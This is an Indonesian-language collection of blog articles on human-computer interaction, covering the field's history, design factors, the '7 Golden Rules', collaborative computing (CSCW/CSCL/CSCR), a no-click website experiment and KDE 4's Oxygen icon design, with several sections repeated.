Pada kondisi dewasa ini, IMK mulai mendapatkan perhatian dari para perancang sistem. Aspek hubungan manusia-komputer mulai dipandang sebagai aspek penting. IMK mulai berkembang setelah PD II. Mula-mula ilmu yang berkaitan adalah biomekanik, antropometri, penelitian mengenai penglihatan, kemudian bergeser ke arah prinsip-prinsip pengembangan representasi informasi.
Dalam perkembangan bidang-bidang kegiatan lain yang berhubungan dengan kajian IMK adalah:
Ilmu komputer sebagai kerangka dasarnya.
Psikologi menyangkut tingkah laku, persepsi, dan pemrosesan kognitif user
Ergonomi (human aspect), melihat aspek-aspek titik kenyamanan user sewaktu menggunakan sistem.
Kebebasan melihat komunikasi antara user-sistem.
Sosiologi, meminjam dampak sistem manusia-mesin pada sistem kemasyarakatan.
Antropologi, mengamati interaksi sekelompok manusia dengan mesin.
Desain grafis, mengikuti tuntutan user yang semakin lebih suka menggunakan grafis sebagai antarmuka dengan mesin.
Faktor-faktor penting dalam interaksi manusia-komputer antara lain:
Kinerja manusia
Dalam hal ini mmenyangkut karakteristik dasar manusia dan keterbatasannya seperti fleksibilitas, ketrampilan, kesalahan, kecepatan, dll. Beberapa aspek khusus tentang ini adalah pemilihan (seperti memodelkan pengguna), pelatihan (misalnya dalam pengambilan keputusan), user support (seperti problem solving).
Kinerja sistem komputer
Karakteristik dasar dan keterbatasan sistem dengan memandang aspek khusus berkaitan dengan IMK seperti fasilitas bahasa, waktu respon sistem, sekuritas.
Antarmuka perangkat keras
Display, kontrol, terminal, aplikasi ergonomi untuk desain workstation yang baik, kebutuhan manusia dan peralatan-peralatan baru.
Antarmuka perangkat lunak
Media komunikasi non-perangkat keras, aspek IMK dari sistem linguistik dan bahasa, organisasi informasi.
Lingkungan
Fisik: ruang workstation dan layout-nya, pencahayaan, suara, dsb. Psikologikal: pengaruh kelompok kerja, struktur pekerjaan (seperti shift kerja), struktur sistem (open / closed, rigid / flexible, dsb), keadaan sosial dan desain organisasi.
Aplikasi spesifik
Pengguna spesialis, bisnis, naif, sistem publik.
Problem spesial
Pengaruh IMK pada desain pekerjaan dan organisasi, serta masyarakat, privasi informaasi personal, kasus-kasus khusus, dokumentasi dan bantuan-bantuan lain, dsb.
Pengembangan suatu sistem komputer harus dapat melakukan komunikasi yang nyaman dan mudah. Kendala yang sering terjadi disebabkan perilaku user yang tidak dapat dipastikan. Beberapa karakteristik manusia yang mempengaruhi interaksi manusia dengan sistem komputer, yaitu:
Operasi Dedicated / casual (apakah operasi yang dihadapi itu terus menerus atau bersifat satu kali penggunaan) jenis pekerjaan
Mampu / tidak mampu melakukan pemrograman
Memiliki daya intelegensia tinggi / kurang
Terlatih / tidak terlatih
Aktif / pasif (aktif maksudnya memulai interaktif, berinisiatif)
Lingkungan pekerjaan bertekanan atau tidak bertekanan (underpressure / dead line atau tanpa tenggat waktu)
Perbedaan usia yang mempengaruhi perbedaan pengalaman, pengetahuan, kemampuan belajar dan adaptasi, kemampuan fisik
Perbedaan personalitas pengguna
Teknik-teknik yang dapat digunakan dalam perancangan user interface agar lebih efektif, antara lain:
Menu
Pengisian formulir
Bahasa perintah
Bahasa alami
Manipulasi langsung
Dalam memilih teknik apa yang akan digunakan perlu diperhatikan faktor-faktor berikut :
Siapa pemakai sistem
Banyaknya aplikasi yang diterapkan pada komputer yang sama
Komunikasi dalam jaringan
Kerumitan pekerjaan sistem
Panjang operasi
Urutan operasi
Akurasi
Sumber masukan
Faktor-faktor lain seperti: harga, hardware, kerumitan implementasi, dll.
Dalam konteks interaksi, ada aturan yang dikenal dengan nama ‘7 Golden Rules’, yaitu:
Konsistensi
Keharmonisan kombinasi dengan ekspresi yang singkat tapi powerfull, misalnya:
singkatan perintah
macro-command
cut & paste
undo-redo
nilai standar (default)
Mengurangi beban kognitif
Interaksi yang dikendalikan user
Fleksibel
Dialog terstruktur
Error Handling
Pada awalnya pengembangan komputer lebih difokuskan pada peningkatan kemampuan dan kecanggihan peralatan komputer, sedangkan dari aspek manusia sebagai user kurang diperhatikan. Hal-hal sederhana seperti kenyamanan dan kemudahan dalam menggunakan komputer jarang diperhatikan.
Pada kenyataan sebenarnya, faktor brainware sangat mempengaruhi kinerja sistem komputer itu sendiri. Apabila suatu teknologi lebih mudah dimengerti oleh user maka user dapat menggunakan teknologi itu dengan maksimal. Oleh karena itu, faktor interaksi manusia–komputer pun menjadi salah satu faktor yang sangat penting untuk dipertimbangkan.
Pada kondisi dewasa ini, IMK mulai mendapatkan perhatian dari para perancang sistem. Aspek hubungan manusia-komputer mulai dipandang sebagai aspek penting. IMK mulai berkembang setelah PD II. Mula-mula ilmu yang berkaitan adalah biomekanik, antropometri, penelitian mengenai penglihatan, kemudian bergeser ke arah prinsip-prinsip pengembangan representasi informasi.
Dalam perkembangan bidang-bidang kegiatan lain yang berhubungan dengan kajian IMK adalah:
Ilmu komputer sebagai kerangka dasarnya.
Psikologi menyangkut tingkah laku, persepsi, dan pemrosesan kognitif user
Ergonomi (human aspect), melihat aspek-aspek titik kenyamanan user sewaktu menggunakan sistem.
Kebebasan melihat komunikasi antara user-sistem.
Sosiologi, meminjam dampak sistem manusia-mesin pada sistem kemasyarakatan.
Antropologi, mengamati interaksi sekelompok manusia dengan mesin.
Desain grafis, mengikuti tuntutan user yang semakin lebih suka menggunakan grafis sebagai antarmuka dengan mesin.
Faktor-faktor penting dalam interaksi manusia-komputer antara lain:
Kinerja manusia
Dalam hal ini mmenyangkut karakteristik dasar manusia dan keterbatasannya seperti fleksibilitas, ketrampilan, kesalahan, kecepatan, dll. Beberapa aspek khusus tentang ini adalah pemilihan (seperti memodelkan pengguna), pelatihan (misalnya dalam pengambilan keputusan), user support (seperti problem solving).
Kinerja sistem komputer
Karakteristik dasar dan keterbatasan sistem dengan memandang aspek khusus berkaitan dengan IMK seperti fasilitas bahasa, waktu respon sistem, sekuritas.
Antarmuka perangkat keras
Display, kontrol, terminal, aplikasi ergonomi untuk desain workstation yang baik, kebutuhan manusia dan peralatan-peralatan baru.
Antarmuka perangkat lunak
Media komunikasi non-perangkat keras, aspek IMK dari sistem linguistik dan bahasa, organisasi informasi.
Lingkungan
Fisik: ruang workstation dan layout-nya, pencahayaan, suara, dsb. Psikologikal: pengaruh kelompok kerja, struktur pekerjaan (seperti shift kerja), struktur sistem (open / closed, rigid / flexible, dsb), keadaan sosial dan desain organisasi.
Aplikasi spesifik
Pengguna spesialis, bisnis, naif, sistem publik.
Problem spesial
Pengaruh IMK pada desain pekerjaan dan organisasi, serta masyarakat, privasi informaasi personal, kasus-kasus khusus, dokumentasi dan bantuan-bantuan lain, dsb.
Pengembangan suatu sistem komputer harus dapat melakukan komunikasi yang nyaman dan mudah. Kendala yang sering terjadi disebabkan perilaku user yang tidak dapat dipastikan. Beberapa karakteristik manusia yang mempengaruhi interaksi manusia dengan sistem komputer, yaitu:
Operasi Dedicated / casual (apakah operasi yang dihadapi itu terus menerus atau bersifat satu kali penggunaan) jenis pekerjaan
Mampu / tidak mampu melakukan pemrograman
Memiliki daya intelegensia tinggi / kurang
Terlatih / tidak terlatih
Aktif / pasif (aktif maksudnya memulai interaktif, berinisiatif)
Lingkungan pekerjaan bertekanan atau tidak bertekanan (underpressure / dead line atau tanpa tenggat waktu)
Perbedaan usia yang mempengaruhi perbedaan pengalaman, pengetahuan, kemampuan belajar dan adaptasi, kemampuan fisik
Perbedaan personalitas pengguna
Teknik-teknik yang dapat digunakan dalam perancangan user interface agar lebih efektif, antara lain:
Menu
Pengisian formulir
Bahasa perintah
Bahasa alami
Manipulasi langsung
Dalam memilih teknik apa yang akan digunakan perlu diperhatikan faktor-faktor berikut :
Siapa pemakai sistem
Banyaknya aplikasi yang diterapkan pada komputer yang sama
Komunikasi dalam jaringan
Kerumitan pekerjaan sistem
Panjang operasi
Urutan operasi
Akurasi
Sumber masukan
Faktor-faktor lain seperti: harga, hardware, kerumitan implementasi, dll.
Dalam konteks interaksi, ada aturan yang dikenal dengan nama ‘7 Golden Rules’, yaitu:
Konsistensi
Keharmonisan kombinasi dengan ekspresi yang singkat tapi powerfull, misalnya:
singkatan perintah
macro-command
cut & paste
undo-redo
nilai standar (default)
Mengurangi beban kognitif
Interaksi yang dikendalikan user
Fleksibel
Dialog terstruktur
Error Handling
(Artikel 3)Hubungan antara HCI dan CSCR
CSCR merupakan bidang baru terkait riset masyarakat HCI. CSCR merupakan kelanjutan dari pendahulunya, yaitu Computer Supported Collaborative Work (CSCW) dan Computer Supported Collaborative Learning (CSCL). Keduanya ini merupakan subyek riset HCI hampir sepuluh tahun yang lalu.
Gambar berikut menampilkan kedudukan dari ketiganya (merupakan bagian dari HCI)
Gambar CSCR 1
Perbedaan utama antara CSCW dan CSCL yaitu bahwa CSCW dikarakteristikan oleh “kebutuhan akan ruang kerja (workingspace)” sedangkan CSCL membutuhkan ruang kerja dan ruang belajar (learningspace)
Workingspace adalah domain tempat aktivitas-aktivitas berikut berlangsung: communication space, scheduling space, sharing space, dan product space.
Learning space adalah domain yang memuat seluruh aspek workingspace ditambah dengan aktivitas berikut: reflection space, social space, assessment space, tutor space, dan administration space
Perbedaan utama antara CSCR dan CSCL adalah bahwa suatu rekord penuh dari seluruh interaksi antar partisipan merupakan tool penting dan dibutuhkan untuk mengevaluasi kontribusi setiap anggota dalam suatu collaboratiob group yang nanti dapat menentukan “suatu share modal yang adil (a fair capital share) apabila proyek riset berjalan dengan sukses.is successful.
CSCR membutuhkan Workingspace, Learningspace, dan aktivitas-aktivitas berikut: knowledge space, publication space, privacy space, publication space, negotiation space.
CSCR merupakan bidang baru terkait riset masyarakat HCI. CSCR merupakan kelanjutan dari pendahulunya, yaitu Computer Supported Collaborative Work (CSCW) dan Computer Supported Collaborative Learning (CSCL). Keduanya ini merupakan subyek riset HCI hampir sepuluh tahun yang lalu.
Gambar berikut menampilkan kedudukan dari ketiganya (merupakan bagian dari HCI)
Gambar CSCR 1
Perbedaan utama antara CSCW dan CSCL yaitu bahwa CSCW dikarakteristikan oleh “kebutuhan akan ruang kerja (workingspace)” sedangkan CSCL membutuhkan ruang kerja dan ruang belajar (learningspace)
Workingspace adalah domain tempat aktivitas-aktivitas berikut berlangsung: communication space, scheduling space, sharing space, dan product space.
Learning space adalah domain yang memuat seluruh aspek workingspace ditambah dengan aktivitas berikut: reflection space, social space, assessment space, tutor space, dan administration space
Perbedaan utama antara CSCR dan CSCL adalah bahwa suatu rekord penuh dari seluruh interaksi antar partisipan merupakan tool penting dan dibutuhkan untuk mengevaluasi kontribusi setiap anggota dalam suatu collaboratiob group yang nanti dapat menentukan “suatu share modal yang adil (a fair capital share) apabila proyek riset berjalan dengan sukses.is successful.
CSCR membutuhkan Workingspace, Learningspace, dan aktivitas-aktivitas berikut: knowledge space, publication space, privacy space, publication space, negotiation space.
HCI Artikel 2
(Artikel 2)Pengertian HCI
Ketika komputer pertama kali diperkenalkan secara komersial pada tahun 50-an, mesin ini sangat sulit dipakai dan sangat tidak praktis. Hal demikian karena waktu itu komputer merupakan mesin yang sangat mahal dan besar, hanya dipakai dikalangan tertentu, misalnya para ilmuwan atau ahli-ahli teknik.
Setelah komputer pribadi (PC) diperkenalkan pada tahun 70-an, maka berkembanglah penggunaan teknologi ini secara cepat dan mengagurnkan ke berbagai penjuru kehidupan (pendidikan, perdagangan, pertahanan, perusahaan, dan sebagainya). Kemajuan-kemajuan teknologi tersebut akhirnya juga mempengaruhi rancangan sistem. Sistem rancangan dituntut harus bisa memenuhi kebutuhan pemakai, sistem harus mempunyai kecocokkan dengan kebutuhan pemakai atau suatu sistem yang dirancang harus berorientasi kepada pemakai. Pada awal tahun 70-an ini, juga mulai muncul isu teknik antarmuka pemakai (user interface) yang diketahui sebagai Man-Machine Interaction (MMI) atau Interaksi Manusia-Mesin.
Pada Man-Machine Interaction sudah diterapkan sistem yang "user friendly". Narnun, sifat user friendly pada MMI ini diartikan secara terbatas. User friendly pada MMI hanya dikaitkan dengan aspek-aspek yang berhubungan dengan estetika atau keindahan tampilan pada layar saja. Sistem tersebut hanya menitik beratkan pada aspek rancangan antarmukanya saja, sedangkan faktor-faktor atau aspek-aspek yang berhubungan dengan pemakai baik secara organisasi atau individu belum diperhatikan [PRE94].
Para peneliti akademis mengatakan suatu rancangan sistem yang berorientasi kepada pemakai, yang memperhatikan kapabilitas dan kelemahan pemakai ataupun sistem (komputer) akan memberi kontribusi kepada interaksi manusia-komputer yang lebih baik. Maka pada pertengahan tahun 80-an diperkenalkanlah istilah Human-Computer Interaction (HCI) atau Interaksi Manusia-Komputer.
Pada HCI ini cakupan atau fokus perhatiannya lebih luas, tidak hanya berfokus pada rancangan antarmuka saja, tetapi juga memperhatikan semua aspek yang berhubungan dengan interaksi antara manusia dan komputer. HCI ini kemudian berkembang sebagai disiplin ilmu tersendiri (yang merupakan bidang ilmu interdisipliner) yang membahas hubungan tirnbal balik antara manusia-komputer beserta efek-efek yang terjadi diantaranya.
Oleh Baecker dan Buxton [dalam PRE94] HCI ini didefinisikan sebagai "set of processes, dialogues, and actions through -which a human user employs and interacts with computer". ACM-SGCHI [dalam PRE94] lebih jauh menuliskan definisi tentang HCI sebagai berikut:
--- human-computer interaction is a discipline concerned with the design, evaluation and implementation of interactive computing system for human use and with the study of major phenomena surrounding them. "
Dengan demikian terlihat jelas bahwa fokus perhatian HCI tidak hanya pada keindahan tampilannya saja atau hanya tertuju pada tampilan antarmukanya saja, tetapi juga memperhatikan aspek-aspek pamakai, implementasi sistem rancangannya dan fenomena lingkungannya, dan lainnya. Misalnya, rancangan sistem itu harus memperhatikan kenyamanan pemakai, kemudahan dalam pemakaian, mudah untuk dipelajari dlsb.
Tujuan dari HCI adalah untuk menghasilkan sistem yang bermanfaat (usable) dan aman (safe), artinya sistem tersebut dapat berfungsi dengan baik. Sistem tersebut bisa untuk mengembangkan dan meningkatkan keamanan (safety), utilitas (utility), ketergunaan (usability), efektifitas (efectiveness) dan efisiensinya (eficiency). Sistem yang dimaksud konteksnya tidak hanya pada perangkat keras dan perangkat lunak, tetapi juga mencakup lingkungan secara keseluruhan, baik itu lingkungan organisasi masyarakat kerja atau lingkungan keluarga. Sedangkan utilitas mengacu kepada fungsionalitas sistem atau sistem tersebut dapat meningkatkan efektifitas dan efesiensi kerjanya. Ketergunaan (usability) disini dimaksudkan bahwa sstem yang dibuat tersebut mudah digunakan dan mudah dipelajari baik secara individu ataupun kelompok.
Pendapat Preece, J. di atas didasarkan pada pemikiran yang menyatakan bahwa kepentingan pemakai sistem harus didahulukan, pemakai tidak bisa diubah secara radikal terhadap sistem yang telah ada, sistem yang dirancang harus cocok dengan kebutuhan-kebutuhan pemakai.
Selanjutnya, dalam berinteraksi dengan komputer, para pemakai pertama kali akan berhadapan dengan perangkat keras komputer. Untuk sampai pada isi yang ingin disampaikan oleh perangkat lunak, pemakai dihadapkan terlebih dahulu dengan seperangkat alat seperti papan ketik (keyboard), monitor, mouse, joystick, dan lain-lain. Pemakai harus dapat mengoperasikan seperangkat alat tersebut. Selanjutnya, pemakai akan berhadapan dengan macam-macam tampilan menu, macam-macam perintah yang terdiri dari kata atau kata-kata yang harus diketikkannya, misalnya save, copy, delete, atau macam-macam ikon. Peralatan, perintah, ikon dan lain-lain yang disebutkan di atas dikenal dengan nama interface (antarmuka). Interface ini merupakan lapisan pertama yang langsung bertatap muka dengan pemakai.
Sistem interaksi itu sendiri juga merupakan bagian dari sistem komputer yang dibuat, sehingga memungkinkan manusia bermteraksi dengan sistem komputer se-efektif mungkin guna memanfaatkan kemampuan pengolahan yang tersedia pada sistem komputer. Salah satu model antarmuka antara manusia dan komputer atau rangkaian kegiatan interaksi manusia-komputer secara sederhana dapat disimak pada gambar di bawah.
Terlihat bahwa manusia memberi isyarat, atau masukan data kepada sistem pengolah informasi komputer, melalui alat masukan yang tersedia pada sistim komputer (misalnya keyboard). Berdasarkan masukan ini, melalui alat keluarannya (mi~lnya monitor), hasil-hasil pengolahan dari prosesor komputer disajikan kepada manusia. Melalui sensor manusia, seperti penglihatan (mata), pendengaran (telinga), dan peraba, sajian atau masukan-masukan itu kemudian dipantau/dimonitor untuk selanjutnya diteruskan ke sistem pengolah informasi manusia (perceptual processing, intellectual/cognitive processing, dan motor control yang selalu berinteraksi dengan human memory) untuk ditafsirkan.
Setelah penafsiran dilakukan dan keputusan diambil, maka diteruskanlah perintah ke alat responder manusia (tangan, jari, suara, dan lainnya) untuk melakukan tindak lanjutan yang pada urnumnya diwujudkan berupa masukan kembali ke komputer.
Rangkaian pesan dan isyarat antara manusia dengan komputer membentuk suatu dialog interaktif, yakni serangkaian aksi dan reaksi yang saling berkaitan. Memperhatikan rangkaian kegiatan interaksi yang terjadi, jelaslah bahwa sifat dari suatu interaksi sangat ditentukan oleh dialog manusia-komputer dan teknologi dari alat masukan serta keluaran yang digunakan [DOW92].
Dengan faktor-faktor yang tercakup pada HCI tersebut, sekarang semakin menjadi jelas peranan HCI di dalam rancangan sistem. la akan mempertinggi kualitas interaksi antara sistem komputer dan manusia. Untuk bisa tercapainya kualitas yang tinggi pada interaksi tersebut, maka secara sistematik perlu diterapkannya pengetahuan tentang tujuan manusia (human goals), kapabilitas dan keterbatasan manusia bersama-sama dengan pengetahuan tentang kapabilitas dan keterbatasan komputer pada sistem. Pengetahuan-pengetahuan yang berhubungan itu selanjutnya untuk mengetahui aspek-aspek fisik, sosial, organisasi dan lingkungan kerja pemakai. Dengan demikian, perancang sistem harus bisa membuat transisi dari 'apa yang dapat dilakukan kepada sistem (functionality)" menjadi 'bagaimana sistem itu harus dilakukan agar cocok dengan pemakai (usability)".
Ketika komputer pertama kali diperkenalkan secara komersial pada tahun 50-an, mesin ini sangat sulit dipakai dan sangat tidak praktis. Hal demikian karena waktu itu komputer merupakan mesin yang sangat mahal dan besar, hanya dipakai dikalangan tertentu, misalnya para ilmuwan atau ahli-ahli teknik.
Setelah komputer pribadi (PC) diperkenalkan pada tahun 70-an, maka berkembanglah penggunaan teknologi ini secara cepat dan mengagurnkan ke berbagai penjuru kehidupan (pendidikan, perdagangan, pertahanan, perusahaan, dan sebagainya). Kemajuan-kemajuan teknologi tersebut akhirnya juga mempengaruhi rancangan sistem. Sistem rancangan dituntut harus bisa memenuhi kebutuhan pemakai, sistem harus mempunyai kecocokkan dengan kebutuhan pemakai atau suatu sistem yang dirancang harus berorientasi kepada pemakai. Pada awal tahun 70-an ini, juga mulai muncul isu teknik antarmuka pemakai (user interface) yang diketahui sebagai Man-Machine Interaction (MMI) atau Interaksi Manusia-Mesin.
Pada Man-Machine Interaction sudah diterapkan sistem yang "user friendly". Narnun, sifat user friendly pada MMI ini diartikan secara terbatas. User friendly pada MMI hanya dikaitkan dengan aspek-aspek yang berhubungan dengan estetika atau keindahan tampilan pada layar saja. Sistem tersebut hanya menitik beratkan pada aspek rancangan antarmukanya saja, sedangkan faktor-faktor atau aspek-aspek yang berhubungan dengan pemakai baik secara organisasi atau individu belum diperhatikan [PRE94].
Para peneliti akademis mengatakan suatu rancangan sistem yang berorientasi kepada pemakai, yang memperhatikan kapabilitas dan kelemahan pemakai ataupun sistem (komputer) akan memberi kontribusi kepada interaksi manusia-komputer yang lebih baik. Maka pada pertengahan tahun 80-an diperkenalkanlah istilah Human-Computer Interaction (HCI) atau Interaksi Manusia-Komputer.
Pada HCI ini cakupan atau fokus perhatiannya lebih luas, tidak hanya berfokus pada rancangan antarmuka saja, tetapi juga memperhatikan semua aspek yang berhubungan dengan interaksi antara manusia dan komputer. HCI ini kemudian berkembang sebagai disiplin ilmu tersendiri (yang merupakan bidang ilmu interdisipliner) yang membahas hubungan tirnbal balik antara manusia-komputer beserta efek-efek yang terjadi diantaranya.
Oleh Baecker dan Buxton [dalam PRE94] HCI ini didefinisikan sebagai "set of processes, dialogues, and actions through -which a human user employs and interacts with computer". ACM-SGCHI [dalam PRE94] lebih jauh menuliskan definisi tentang HCI sebagai berikut:
--- human-computer interaction is a discipline concerned with the design, evaluation and implementation of interactive computing system for human use and with the study of major phenomena surrounding them. "
Dengan demikian terlihat jelas bahwa fokus perhatian HCI tidak hanya pada keindahan tampilannya saja atau hanya tertuju pada tampilan antarmukanya saja, tetapi juga memperhatikan aspek-aspek pamakai, implementasi sistem rancangannya dan fenomena lingkungannya, dan lainnya. Misalnya, rancangan sistem itu harus memperhatikan kenyamanan pemakai, kemudahan dalam pemakaian, mudah untuk dipelajari dlsb.
Tujuan dari HCI adalah untuk menghasilkan sistem yang bermanfaat (usable) dan aman (safe), artinya sistem tersebut dapat berfungsi dengan baik. Sistem tersebut bisa untuk mengembangkan dan meningkatkan keamanan (safety), utilitas (utility), ketergunaan (usability), efektifitas (efectiveness) dan efisiensinya (eficiency). Sistem yang dimaksud konteksnya tidak hanya pada perangkat keras dan perangkat lunak, tetapi juga mencakup lingkungan secara keseluruhan, baik itu lingkungan organisasi masyarakat kerja atau lingkungan keluarga. Sedangkan utilitas mengacu kepada fungsionalitas sistem atau sistem tersebut dapat meningkatkan efektifitas dan efesiensi kerjanya. Ketergunaan (usability) disini dimaksudkan bahwa sstem yang dibuat tersebut mudah digunakan dan mudah dipelajari baik secara individu ataupun kelompok.
Pendapat Preece, J. di atas didasarkan pada pemikiran yang menyatakan bahwa kepentingan pemakai sistem harus didahulukan, pemakai tidak bisa diubah secara radikal terhadap sistem yang telah ada, sistem yang dirancang harus cocok dengan kebutuhan-kebutuhan pemakai.
Selanjutnya, dalam berinteraksi dengan komputer, para pemakai pertama kali akan berhadapan dengan perangkat keras komputer. Untuk sampai pada isi yang ingin disampaikan oleh perangkat lunak, pemakai dihadapkan terlebih dahulu dengan seperangkat alat seperti papan ketik (keyboard), monitor, mouse, joystick, dan lain-lain. Pemakai harus dapat mengoperasikan seperangkat alat tersebut. Selanjutnya, pemakai akan berhadapan dengan macam-macam tampilan menu, macam-macam perintah yang terdiri dari kata atau kata-kata yang harus diketikkannya, misalnya save, copy, delete, atau macam-macam ikon. Peralatan, perintah, ikon dan lain-lain yang disebutkan di atas dikenal dengan nama interface (antarmuka). Interface ini merupakan lapisan pertama yang langsung bertatap muka dengan pemakai.
Sistem interaksi itu sendiri juga merupakan bagian dari sistem komputer yang dibuat, sehingga memungkinkan manusia bermteraksi dengan sistem komputer se-efektif mungkin guna memanfaatkan kemampuan pengolahan yang tersedia pada sistem komputer. Salah satu model antarmuka antara manusia dan komputer atau rangkaian kegiatan interaksi manusia-komputer secara sederhana dapat disimak pada gambar di bawah.
Terlihat bahwa manusia memberi isyarat, atau masukan data kepada sistem pengolah informasi komputer, melalui alat masukan yang tersedia pada sistim komputer (misalnya keyboard). Berdasarkan masukan ini, melalui alat keluarannya (mi~lnya monitor), hasil-hasil pengolahan dari prosesor komputer disajikan kepada manusia. Melalui sensor manusia, seperti penglihatan (mata), pendengaran (telinga), dan peraba, sajian atau masukan-masukan itu kemudian dipantau/dimonitor untuk selanjutnya diteruskan ke sistem pengolah informasi manusia (perceptual processing, intellectual/cognitive processing, dan motor control yang selalu berinteraksi dengan human memory) untuk ditafsirkan.
Setelah penafsiran dilakukan dan keputusan diambil, maka diteruskanlah perintah ke alat responder manusia (tangan, jari, suara, dan lainnya) untuk melakukan tindak lanjutan yang pada urnumnya diwujudkan berupa masukan kembali ke komputer.
Rangkaian pesan dan isyarat antara manusia dengan komputer membentuk suatu dialog interaktif, yakni serangkaian aksi dan reaksi yang saling berkaitan. Memperhatikan rangkaian kegiatan interaksi yang terjadi, jelaslah bahwa sifat dari suatu interaksi sangat ditentukan oleh dialog manusia-komputer dan teknologi dari alat masukan serta keluaran yang digunakan [DOW92].
Dengan faktor-faktor yang tercakup pada HCI tersebut, sekarang semakin menjadi jelas peranan HCI di dalam rancangan sistem. la akan mempertinggi kualitas interaksi antara sistem komputer dan manusia. Untuk bisa tercapainya kualitas yang tinggi pada interaksi tersebut, maka secara sistematik perlu diterapkannya pengetahuan tentang tujuan manusia (human goals), kapabilitas dan keterbatasan manusia bersama-sama dengan pengetahuan tentang kapabilitas dan keterbatasan komputer pada sistem. Pengetahuan-pengetahuan yang berhubungan itu selanjutnya untuk mengetahui aspek-aspek fisik, sosial, organisasi dan lingkungan kerja pemakai. Dengan demikian, perancang sistem harus bisa membuat transisi dari 'apa yang dapat dilakukan kepada sistem (functionality)" menjadi 'bagaimana sistem itu harus dilakukan agar cocok dengan pemakai (usability)".
HCI Artikel 1
(Artikel 1 )Mendekonstruksi Peran Mouse
Kemaren nemu site experimental dontclick. Jadi pingin membahas isu-isu User Interface / Human Computer Interaction lagi.
Site dontclick merupakan situs research tentang kebiasaan pengguna dengan piranti masukan mouse. Aturannya sederhana saja : penggunanya diharamkan menggunakan tombol atau meng-klik mouse mereka. Semua interaksi menggunakan medium pergerakan kursor pada koordinat x-y layar. Gambar dan informasi yang bersesuaian akan muncul dengan cukup mengarahkan mouse kita ke menu yang kita inginkan. Artinya klik digantikan dengan mode gerakan. Ada berbagai macam eksperimen di situ termasuk juga tutorial serta eksperimen bagaimana kita mengganti klik dengan gerakan sirkular pada layar.
Jika Anda ternyata mengklik tikus di bawah tangan Anda ketika sedang berkunjung ke sana, maka mereka akan merekamnya. Sengaja atau tidak, mereka akan mengkonfirmasinya. Termasuk keseluruhan gerakan yang Anda lakukan saat bertandang ke situs dontclick. Namanya juga penelitian. Mereka butuh mengerti bagaimana pengalaman pengguna akan membentuk suatu persepsi psikologis kognitif saat mereka menghadapi lingkungan yang baru apalagi mensarahkan meninggalkan kebiasaan lama pengguna komputer. Apakah teknik tersebut bermanfaat dalam mendekati pengguna? Apakah pengguna merasa nyaman atau malah frustasi? Secara ergonomis apakah ada hubungannya antara menghilangkan klik mouse dengan kesehatan manusia? (ini sepertinya berlebihan).
Saya sendiri salut dengan ide brilian ini. Ternyata bisa juga tombol yang imut itu ditinggalkan. Navigasi web yang smooth dan mudah. Namun sekali lagi ia tidak cukup signifikan untuk diterapkan. Klik tetaplah lebih nyaman. Karena ada hal2 yang tidak tergantikan oleh gerak.
Pertama adalah real model. Beragam inovasi diluncurkan agar User Interface (UI) semirip mungkin dengan dunia nyata. Pemodelan yang paling sederhana misalnya adalah sebuah tombol (button). Tombol berfungsi untuk memicu sebuah action. Menggunakannya adalah dengan cukup ditekan. Dalam hal ini pemodelan meng-klik mouse lebih mirip menekan tombol daripada sekedar menyentuh atau meraba-raba. Tolong, jangan ngeres ya.
Kedua yaitu faktor feedback. Mouse mampu menyajikan kemantapan dan kepuasan umpan balik bagi pengguna. Gerakan meng-klik tombol, sensasi sentuhan atas-bawah berpegas, suara ‘klik’ dari mouse lebih mampu membuat pengguna merasa terwakili. Alias lebih marem.
Alasan lainnya adalah tidak semua menu ingin kita lihat. Jika kita tak sengaja mengarahkan mouse ke menu lain maka akan tampil informasi lain. Hal ini cukup mengganggu jika kita sedang fokus membaca sebuah informasi yang cukup panjang. Akhirnya adalah kita harus selalu waspada dengan keberadaan posisi kursor kita. Salah letak bisa membuat kita berjarak dengan informasi yang kita butuhkan. Capek d!
Tak kalah penting yaitu alokasi gerakan kursor yang dilakukan oleh UI dontclick akan lebih banyak. Apalagi jika klik diganti dengan gerakan memutar di atas sebuah pilihan. Padahal terlalu banyak menggerakkan mouse hanya untuk mengakses menu merupakan salah satu ciri antarmuka yang kurang bersahabat.
http://bangkumahoni.com
Oxygen tentukan disain KDE 4 PDF | Cetak | E-mail
Generasi mendatang lingkungan desktop KDE 4 yang saat ini gencar disosialisasikan pengembangnya, kecuali ia menyediakan fitur-fitur baru juga akan dipercantik dengan disain icons yang dikembangkan proyek Oxygen.
Oxygen bukan sekedar koleksi Icons, tapi menurut keterangan Troy Unrau juga menentukan keserasian matoda disain grafis dari KDE 4 secara keseluruhannya. Oxygen belum lama menjadi bagian proyek KDE dan disertakan dalam pengembangan pustaka KDE. Peralihan yang cukup rumit itu, saat ini sedang dalam proses. Job termasuk membersihkan kesemrawutan dalam pemberian nama-nama icon dan penggantian nama sejumlah icon yang ada. Sebagai konsekwensi juga diperlukan perubahan nama dalam kode pemrograman. Karena itu Screenshot Oxygen masih menampilkan campuran icon-icon baru dan lama.
Walaupun kelompok kerja untuk Human Computer Interaction baru-baru ini mengklaim bahwa Oxygen telah menyelesaikan pekerjaan rumahnya, namun nyatanya masih banyak tertinggal yang harus dilengkapi atau disempurnakan. Untuk membangun elemen-elemen grafis digunakan format Vektor SVG yang didukung dan merupakan bagian dari Qt 4. Dalam mencipatakan icon-icon diperdayakan program-program sumber terbuka seperti Inkscape dan lainnya.
Oxygen mengumandangkan slogan “Udara segar untuk Desktop” tepat apa yang dibutuhkan generasi baru KDE 4 sebagai basis disain standarnya. Dibalik proyek Oxygen didukung sebuah tim yang terdiri dari pengembang dan seniman yang berkolaborasi mencipatakan karya seni agar secara keseluruhannya cantik, funsional dan serasi tapi juga tipikal. Sebagai contoh, misalnya semua icon yang tampil di toolbar secara konsisten memiliki bayangan yang sama. Setiap warna yang digunakan diambil dari palet yang sudah dibakukan untuk menjamin setiap warna serasi diantara warna yang lainnya.
Skema pemberian nama yang juga dibenahi antara lain dengan melibatkan tim Oxygen agar mematuhi prosedur yang digariskan freedesktop.org. Dengan demikian KDE, GNOME dan lingkungan Desktop lainnya, nantinya menggunakan terminologi yang sama memudahkan pengguna berinteraksi dengan desktop dari lingkungan berbeda. Icon Crystal yang saat ini banyak digunakan, nantinya disingkirakn dari pustaka KDE namun tetap tersedia sebagai paket khusus terpisah bagi mereka yang masih ingin menggunakannya.
Kemaren nemu site experimental dontclick. Jadi pingin membahas isu-isu User Interface / Human Computer Interaction lagi.
